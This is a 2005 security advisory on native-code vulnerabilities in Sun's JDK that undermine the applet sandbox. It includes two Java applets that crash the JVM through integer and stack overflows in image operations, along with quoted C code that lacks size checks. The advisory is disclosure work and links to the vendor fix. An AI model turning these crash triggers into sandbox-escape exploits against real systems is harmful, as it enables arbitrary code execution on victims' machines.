CESA-2005-008 - rev 2

My other vulnerabilities may be seen at http://scary.beasts.org/security

Sun JDK sandbox escape via native code vulnerabilities
======================================================

Programs affected: Sun's JDK, (v1.5.0_02-b09)
Severity: Arbitrary code execution despite sandbox rules.
Vendor response / fix: http://sunsolve.sun.com/search/document.do?assetkey=1-26-102729-1

Background
----------
The Java environment offers powerful sandboxing which restricts what executing
Java code is permitted to do, for example when running as an applet inside a
browser.
An achilles heel exists in the security of this sandboxing: vulnerabilities in
native code shipped with the JVM. By suppling malicious data to classes backed
by native code, we can trigger buffer and integer overflows, NULL pointer
crashes, etc. - in short, all of the types of vulnerabilities usually
associated with C code.
There are enough methods backed by native code that it is likely to take some
time before they are all audited. Until this is done, untrusted applets and
applications may not be run with any confidence.

Examples
--------
Please bear in mind that these examples are only representative of a wider
problem. Also be aware that these examples have been selected randomly so may
not be the best examples for exploitability.

1) Integer overflow with large image dimensions.

For the first example, we turn to a persistent area of vulnerabilities - images
and image primatives with excessive dimensions. The intent here is to trigger
a width * height integer overflow, with subsequent buffer overflow when the
image canvas is populated. This code crashes under appletviewer:

import java.applet.Applet;
import java.awt.image.BufferedImage;
import java.awt.image.ConvolveOp;
import java.awt.image.Kernel;

public class BadApplet1 extends Applet {
  public static void main(String[] args) {
    new BadApplet1().init();
  }

  public void init() {
    Kernel kernel = new Kernel(65536, 65536, new float[0]);
    ConvolveOp op = new ConvolveOp(kernel);
    BufferedImage src = new BufferedImage(1, 1, BufferedImage.TYPE_INT_RGB);
    BufferedImage dst = new BufferedImage(1, 1, BufferedImage.TYPE_INT_RGB);
    op.filter(src, dst);
  }
}

The faulty code is likely in the native function
Java_sun_awt_image_ImagingLib_convolveBI, possibly:

if ((dkern = (mlib_d64 *) calloc(1, w*h*sizeof(mlib_d64))) == NULL) {

Although, the surrounding area has a lot of malloc / calloc calls where integer
overflow checking in clearly missing. For example, in the same function:

if ((kdata = (mlib_s32 *) malloc(w*h*sizeof(mlib_s32))) == NULL) {

Or in awt_parseRaster:

        if ((rasterP->chanOffsets =
             (jint *) malloc(rasterP->numDataElements*
                             sizeof(jint))) == NULL) {

Or in awt_parseColorModel:

    if ((cmP->nBits =
         (jint *) malloc(cmP->numComponents*sizeof(jint))) == NULL){


2) Stack overflow / corruption with unexpectedly large input array.

In this example, it appears that incoming array data simply isn't checked
against a sensible maximum size before populating a stack-based array:

import java.applet.Applet;
import java.awt.Point;
import java.awt.image.ByteLookupTable;
import java.awt.image.DataBuffer;
import java.awt.image.LookupOp;
import java.awt.image.LookupTable;
import java.awt.image.Raster;
import java.awt.image.SampleModel;
import java.awt.image.SinglePixelPackedSampleModel;
import java.awt.image.WritableRaster;

public class BadApplet2 extends Applet {
  static public void main(String[] args) {
    new BadApplet2().init();
  }

  public void init() {
    SampleModel model = new SinglePixelPackedSampleModel(DataBuffer.TYPE_BYTE,
                                                         1, 1, new int[100]);
    WritableRaster raster =
        Raster.createWritableRaster(model, new Point(0, 0));
    LookupTable lt = new ByteLookupTable(0, new byte[100][1]);
    LookupOp op = new LookupOp(lt, null);
    op.filter(raster, raster);
  }
}

Likely code fault is in Java_sun_awt_image_ImagingLib_lookupByteRaster, where
arrays of size 4 on the stack are copied into based on the length of the
incoming java array. Note that the overflow data seems to be pointers rather
than arbitrary user supplied data, so this example may not be exploitable.
Interestingly, if new byte[100][1] is replaced with new byte[1][100] in the
above example, I get different symptoms - glibc detects heap corruption.

There are possible additional instances of the same sort of problem in
expandPackedBCR (loff, roff integer arrays on the stack) and the corresponding
functions for different packing models.


3) Unchecked negative values.

No examples of a crashing JVM are available (it can be quite difficult to
determine how to get a piece of vulnerable code executing using only the
java pacakges permitted to applets). However, failure to check an integer for
negative values seems to be common, as in
Java_sun_font_SunLayoutEngine_nativeLayout:

  jint len = max - min;
  jchar buffer[256];
  jchar* chars = buffer;
  if (len > 256) {

So the above code is potentially vulnerable to a stack-based buffer overflow.
Another example in the medialib area:

    /* MediaLib can't do more than 4 bands */
    if (src_nbands > 4 || dst_nbands > 4) {
        return 0;
    }

etc.


Future directions
-----------------
There is an excellent opportunity for a Java class library fuzzer. Java
introspection allows you to determine whether a given method is native or not,
so all of these could be singled out and bombarded with inputs likely to
trigger bugs.


CESA-2005-008 - rev 2
Chris Evans
scarybeasts@gmail.com